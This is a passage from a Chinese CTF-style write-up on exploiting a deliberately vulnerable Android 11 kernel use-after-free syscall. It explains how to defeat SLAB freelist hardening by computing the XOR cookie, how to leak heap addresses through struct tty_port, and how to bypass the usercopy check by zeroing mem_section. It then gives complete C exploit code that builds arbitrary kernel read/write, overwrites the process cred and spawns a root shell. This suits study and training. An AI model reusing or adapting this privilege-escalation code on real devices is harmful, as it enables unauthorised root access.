edit_buffer(&fake_heap, 8, 0);

new_buffer(1);
new_buffer(2);

unsigned long zero_flag = 0;
del_buffer(0);
edit_buffer(&zero_flag, 8, 0);

/* exploit */
unsigned long task_addr = get_exp_task();

unsigned long cred_addr = 0x0;
aar(task_addr+TASK_CRED_OFFSET, &cred_addr, 8);
printf("cred addr: 0x%lx\n",cred_addr);
char buf[0x20];
memset(buf,0x0,0x20);
aaw(cred_addr, (void*)buf, 0x20);

printf("get root shell\n");
system("/system/bin/sh");

printf("sleeping\n");
sleep(10);

return 0;
}

android 11

内核版本:linux 5.4.50

当前版本内核中开启了freelist的两种保护措施

1
2
CONFIG_SLAB_FREELIST_RANDOM=y         # 多了一些操作,使申请新slab时,分配到的堆块顺序是随机的
CONFIG_SLAB_FREELIST_HARDENED=y # free的堆块,链入freelist时,写入堆头的是一个异或后的值(不再是简单的指向下一个可申请堆块)

确定free heap的排布规律

如果被分配的堆块是随机的那肯定不好办了,好在题目给的空间很大,我们可以申请释放多次,通过调试来找找规律。

代码如下,每五个堆块为一组,反复申请释放:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// 0~4
for(i=0; i<5; i++){
new_buffer(i);
}

for(i=0; i<5; i++){
del_buffer(i);
}
// 5~9
for(i=5; i<10; i++){
new_buffer(i);
}

for(i=5; i<10; i++){
del_buffer(i);
}
// 10~14
for(i=10; i<15; i++){
new_buffer(i);
}

for(i=10; i<15; i++){
del_buffer(i);
}
// 15~19
for(i=15; i<20; i++){
new_buffer(i);
}

for(i=15; i<20; i++){
del_buffer(i);
}

以上逻辑执行完毕后,查看bss段gst1中堆块地址的规律:

1
2
3
4
5
6
7
8
9
10
11
gef➤  x/20gx 0xFFFFFFC011A4DF78
0xffffffc011a4df78 <gst1>: 0xffffff804ea6da00 0xffffff804ea6d400
0xffffffc011a4df88 <gst1+16>: 0xffffff804ea6d600 0xffffff804ea6c200
0xffffffc011a4df98 <gst1+32>: 0xffffff804ea6de00 0xffffff804ea6de00
0xffffffc011a4dfa8 <gst1+48>: 0xffffff804ea6c200 0xffffff804ea6d600
0xffffffc011a4dfb8 <gst1+64>: 0xffffff804ea6d400 0xffffff804ea6da00
0xffffffc011a4dfc8 <gst1+80>: 0xffffff804ea6da00 0xffffff804ea6d400
0xffffffc011a4dfd8 <gst1+96>: 0xffffff804ea6d600 0xffffff804ea6c200
0xffffffc011a4dfe8 <gst1+112>: 0xffffff804ea6de00 0xffffff804ea6de00
0xffffffc011a4dff8 <gst1+128>: 0xffffff804ea6c200 0xffffff804ea6d600
0xffffffc011a4e008 <gst1+144>: 0xffffff804ea6d400 0xffffff804ea6da00

可以看到,在打开了 CONFIG_SLAB_FREELIST_RANDOM 选项的情况下,第一次申请时,堆块地址不是依次递增的。但最后释放的堆块,依然是最先被分配出去,这点跟之前版本的情况一样。

再看 CONFIG_SLAB_FREELIST_HARDENED 对 free heap 的影响,gdb中调试结果如下:

1
2
3
4
5
6
7
8
9
10
gef➤  x/2gx 0xffffff804ea6da00
0xffffff804ea6da00: 0xff2559cece592bff 0xffffffc0102d3300
gef➤ x/20gx 0xffffff804ea6d400
0xffffff804ea6d400: 0xff2b59cece5929ff 0x6c646948051dc86a
gef➤ x/2gx 0xffffff804ea6d600
0xffffff804ea6d600: 0xff2959cece593dff 0x7672655304016dcc
gef➤ x/2gx 0xffffff804ea6c200
0xffffff804ea6c200: 0xff3d59cece5921ff 0x767265530437039c
gef➤ x/2gx 0xffffff804ea6de00
0xffffff804ea6de00: 0x00dea64e80ffffff 0x767265530430fe45

free heap中存储的不是一个简单的地址了,而是一个奇怪的值,每个heap都不一样。这个奇怪的值是怎样计算得到的呢?

  • 参考源码中的实现:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    void kfree(const void *objp)
    {
    struct kmem_cache *c;
    [...]
    __cache_free(c, (void *)objp, _RET_IP_);
    local_irq_restore(flags);
    }

    static __always_inline void __cache_free(struct kmem_cache *cachep, void *objp,
    unsigned long caller)
    {
    [...]
    ___cache_free(cachep, objp, caller);
    }

    #ifdef CONFIG_KASAN_GENERIC
    void ___cache_free(struct kmem_cache *cache, void *x, unsigned long addr)
    {
    do_slab_free(cache, virt_to_head_page(x), x, NULL, 1, addr);
    }
    #endif

    static __always_inline void do_slab_free(struct kmem_cache *s,
    struct page *page, void *head, void *tail,
    int cnt, unsigned long addr)
    {
    void *tail_obj = tail ? : head;
    struct kmem_cache_cpu *c;
    unsigned long tid;
    redo:
    [...]
    if (likely(page == c->page)) {
    void **freelist = READ_ONCE(c->freelist);

    set_freepointer(s, tail_obj, freelist);
    [...]
    } else
    __slab_free(s, page, head, tail_obj, cnt, addr);

    }

    static inline void set_freepointer(struct kmem_cache *s, void *object, void *fp)
    {
    unsigned long freeptr_addr = (unsigned long)object + s->offset;

    #ifdef CONFIG_SLAB_FREELIST_HARDENED
    BUG_ON(object == fp); /* naive detection of double free or corruption */
    #endif

    *(void **)freeptr_addr = freelist_ptr(s, fp, freeptr_addr);
    }

    static inline void *freelist_ptr(const struct kmem_cache *s, void *ptr,
    unsigned long ptr_addr)
    {
    #ifdef CONFIG_SLAB_FREELIST_HARDENED
    return (void *)((unsigned long)ptr ^ s->random ^
    swab((unsigned long)kasan_reset_tag((void *)ptr_addr))); // 释放堆块时,存入堆块中的值
    #else
    return ptr;
    #endif
    }

    static inline void *kasan_reset_tag(const void *addr)
    {
    return (void *)addr;
    }
  • 对应到IDA反汇编代码中,往释放堆块写值的逻辑

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    unsigned __int64 __fastcall kfree()
    {
    [...]
    if ( result >= 0x11 )
    {
    [...]
    while ( 1 )
    {
    [...]
    else
    {
    [...]
    *(_QWORD *)(*((unsigned int *)v6 + 8) + v7) = bswap64(*((unsigned int *)v6 + 8) + v7) ^ v20 ^ v6[54];
    [...]
    }
    [...]
    }
    [...]
    }
    [...]
    }

    对应汇编代码

    1
    2
    3
    4
    .kernel:FFFFFFC010406628                 REV             X11, X9
    .kernel:FFFFFFC01040662C EOR X11, X11, X8
    .kernel:FFFFFFC010406630 EOR X10, X11, X10
    .kernel:FFFFFFC010406634 STR X10, [X9]

    经调试,发现:

    • x8 是 freelist 指向的第一个堆块虚拟地址 - 对应汇编中 v20
    • x9 是当前正要释放的堆块虚拟地址 - 对应汇编中 *((unsigned int *)v6 + 8) + v7
    • x10 为 0 - 对应汇编中 v6[54]

因此,可以得出如下结论:将当前free heap的地址进行反转,然后跟上一个free heap的地址进行异或操作,得到的值就是存储在当前free heap前8字节中的cookie。

1
2
3
4
5
6
7
8
9
10
>>> hex(0xdaa64e80ffffff^0xffffff804ea6d400)
'0xff2559cece592bff'
>>> hex(0xd4a64e80ffffff^0xffffff804ea6d600)
'0xff2b59cece5929ff'
>>> hex(0xd6a64e80ffffff^0xffffff804ea6c200)
'0xff2959cece593dff'
>>> hex(0xc2a64e80ffffff^0xffffff804ea6de00)
'0xff3d59cece5921ff'
>>> hex(0xdea64e80ffffff^0x0)
'0xdea64e80ffffff'

可以看到,计算结果跟上文gdb调试的结果一致。

现在,要想劫持freelist,就必须知道堆块的地址。

如何泄露当前堆块的地址呢?需要一个内含当前堆块地址且占用kmalloc-512堆块的结构体。

合适大小的可用结构体

在我之前收集的结构体中,没有这个大小的结构体可用。星盟他用的是 struct tty_port

用户态执行 open("dev/ptmx",2); 后,pty_unix98_install() 函数中,为 struct tty_port 申请一个 0x160 大小的堆块(kmalloc-512),调用路径如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
static int ptmx_open(struct inode *inode, struct file *filp)
{
[...]
tty = tty_init_dev(ptm_driver, index);
/* The tty returned here is locked so we can safely
drop the mutex */
[...]
}

struct tty_struct *tty_init_dev(struct tty_driver *driver, int idx)
{
[...]
retval = tty_driver_install_tty(driver, tty);
[...]
}

static int tty_driver_install_tty(struct tty_driver *driver, struct tty_struct *tty)
{
return driver->ops->install ? driver->ops->install(driver, tty) :
tty_standard_install(driver, tty);
}

static int pty_unix98_install(struct tty_driver *driver, struct tty_struct *tty)
{
return pty_common_install(driver, tty, false);
}

static int pty_common_install(struct tty_driver *driver, struct tty_struct *tty,
bool legacy)
{
struct tty_port *ports[2];
[...]
ports[0] = kmalloc(sizeof **ports, GFP_KERNEL); // 为struct tty_port申请堆块,大小为0x160
ports[1] = kmalloc(sizeof **ports, GFP_KERNEL);
[...]
tty_port_init(ports[0]);
tty_port_init(ports[1]);
[...]
}

void tty_port_init(struct tty_port *port)
{
memset(port, 0, sizeof(*port));
tty_buffer_init(port);
[...]
}

void tty_buffer_init(struct tty_port *port)
{
struct tty_bufhead *buf = &port->buf;
[...]
buf->head = &buf->sentinel; // tty_port堆块的前8个字节存储着sentinel所在地址(指向当前堆块)
buf->tail = &buf->sentinel;
[...]
}

/* 关键结构体定义 */
struct tty_port {
struct tty_bufhead buf; /* Locked internally */
[...]
};

struct tty_bufhead {
struct tty_buffer *head; /* Queue head */
struct work_struct work;
struct mutex lock;
atomic_t priority;
struct tty_buffer sentinel;
struct llist_head free; /* Free queue head */
atomic_t mem_used; /* In-use buffers excluding free list */
int mem_limit;
struct tty_buffer *tail; /* Active buffer */
};

泄露堆地址后,做法大致同Android 10。除了copy_from_user和copy_to_user中多了一个检查,不允许将task_struct堆块中的内容拷贝到用户态(或往里写)。

因此多了一步,用任意地址写绕过该检查的步骤。

task_struct不可读的绕过

在此版本环境中(android 11,linux 5.4.50),通过任意地址读,读取task_struct信息时,内核会崩溃。查看log信息,发现如下错误:

1
usercopy: Kernel memory exposure attempt detected from SLUB object 'task_struct' (offset 1872, size 16)!

完整截图如下

image-20230918182753027

定位到崩溃函数

image-20230918182814415

跟踪父级函数

image-20230918182837423

绕过崩溃的方法 - 将mem_section置0

image-20230918182901996

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/uio.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <linux/net.h>
#include <errno.h>
#include <signal.h>
#include <byteswap.h>

#define SYS_UAF 602

unsigned long arg1, arg2, arg3;

unsigned long mem_section_addr = 0xFFFFFFC011A7A8A8;
unsigned long mem_section_data = 0x0;


void* new_buffer(int idx){
void* ret = 0;
arg3 = ((idx &0xff)<<8)|(0&0xff);
// printf("arg3: 0x%lx\n", arg3);
ret = syscall(SYS_UAF, 0, 0, arg3);
return ret;
}

void del_buffer(int idx){
arg3 = ((idx &0xff)<<8)|(1&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, 0, 0, arg3);
}

void show_buffer(void* addr, unsigned long len, int idx){
arg1 = addr;
arg2 = len;
arg3 = ((idx &0xff)<<8)|(2&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, arg1, arg2, arg3);
}

void edit_buffer(void* addr, unsigned long len, int idx){
arg1 = addr;
arg2 = len;
arg3 = ((idx &0xff)<<8)|(3&0xff);
// printf("arg3: 0x%lx\n", arg3);
syscall(SYS_UAF, arg1, arg2, arg3);
}

void aaw(unsigned long k_addr, void* u_addr, unsigned long len){
unsigned long gst1_idx_7 = k_addr;
edit_buffer(&gst1_idx_7, 8, 5);
edit_buffer(u_addr, len, 7);
}

void aar(unsigned long k_addr, void* u_addr, unsigned long len){
unsigned long gst1_idx_7 = k_addr;
edit_buffer(&gst1_idx_7, 8, 5);
show_buffer(u_addr, len, 7);
}

#define TASK_COMM_OFFSET 0x750
#define TASK_TASKS_OFFSET 0x488
#define TASK_CRED_OFFSET 0x740

unsigned long get_exp_task(){
unsigned long init_task = 0xFFFFFFC011953E00;
unsigned long exp_task_addr = 0x0;
unsigned long task_now = init_task;
unsigned long temp_val[2] = {0x0};

int i = 0;
while( (exp_task_addr == 0)){
aar(task_now+TASK_TASKS_OFFSET+8, temp_val, 8); // +8:反向查找更快。mem_section被改,太慢了free_pages会崩溃
task_now = temp_val[0]-TASK_TASKS_OFFSET;
printf("task_struct: 0x%lx\n",task_now);
if(task_now == init_task){
printf("[X] failed to find target task_struct!\n");
break;
}

aar(task_now+TASK_COMM_OFFSET, temp_val, 0x10);
printf("task_struct->comm: %s\n", temp_val);
if( !strcmp(temp_val, "exp") ){
// if( (temp_val[0] & 0xffffff)==0x00707865){
exp_task_addr = task_now;
printf("find the task! task_struct: 0x%lx\n", task_now);
}
printf("\n");
}

return exp_task_addr;
}


int main(){
/* prepare */
int i,j,k;
int fd;

unsigned long leak_buf[20];
memset(leak_buf,0x0,20*8);

for(i=0; i<4; i++) new_buffer(i);
for(i=0; i<4; i++) del_buffer(i);

if((fd = open("/dev/ptmx", O_RDONLY)) == -1) err(1,"open /dev/ptmx");

for(int i=0; i<4; i++) show_buffer(&leak_buf[i], 8, i);

int use_idx = 2;
unsigned long gst1_off_7 = 0xffffffc011a4dfb0; // 0xffffffc011a4dfb0, let fake heap's first 8 bytes be 0
unsigned long heap_addr = leak_buf[use_idx]-0x60;
// printf("heap_addr: 0x%lx, bswap_64(heap_addr): 0x%lx \n", heap_addr, bswap_64(heap_addr));
unsigned long fake_cookie = bswap_64(heap_addr)^gst1_off_7;

close(fd);

edit_buffer(&fake_cookie, 8, use_idx);
new_buffer(4);
new_buffer(5);

/* delete an object, and let it be the last one*/
del_buffer(use_idx);
unsigned long zero_flag = 0x0;
fake_cookie = bswap_64(heap_addr)^zero_flag;
edit_buffer(&fake_cookie, 8, use_idx);

/* aaw/aar */
printf("set mem_section_addr\n");
// unsigned long mem_section_addr = 0xFFFFFFC011A7A8A8;
// unsigned long mem_section_data = 0x0;
aar(mem_section_addr, &mem_section_data, 8);
aaw(mem_section_addr, &zero_flag, 8);

printf("finding task_struct\n");
unsigned long task_addr = get_exp_task();
unsigned long cred_addr = 0x0;
aar(task_addr+TASK_CRED_OFFSET, &cred_addr, 8);
printf("cred addr: 0x%lx\n",cred_addr);

char buf[0x20];
memset(buf,0x0,0x20);
aaw(cred_addr, (void*)buf, 0x20); // write exp's cred

printf("set mem_section_addr\n");
aaw(mem_section_addr, &mem_section_data, 8);

printf("get root shell\n");
system("/system/bin/sh");

printf("exiting\n");
return 0;
}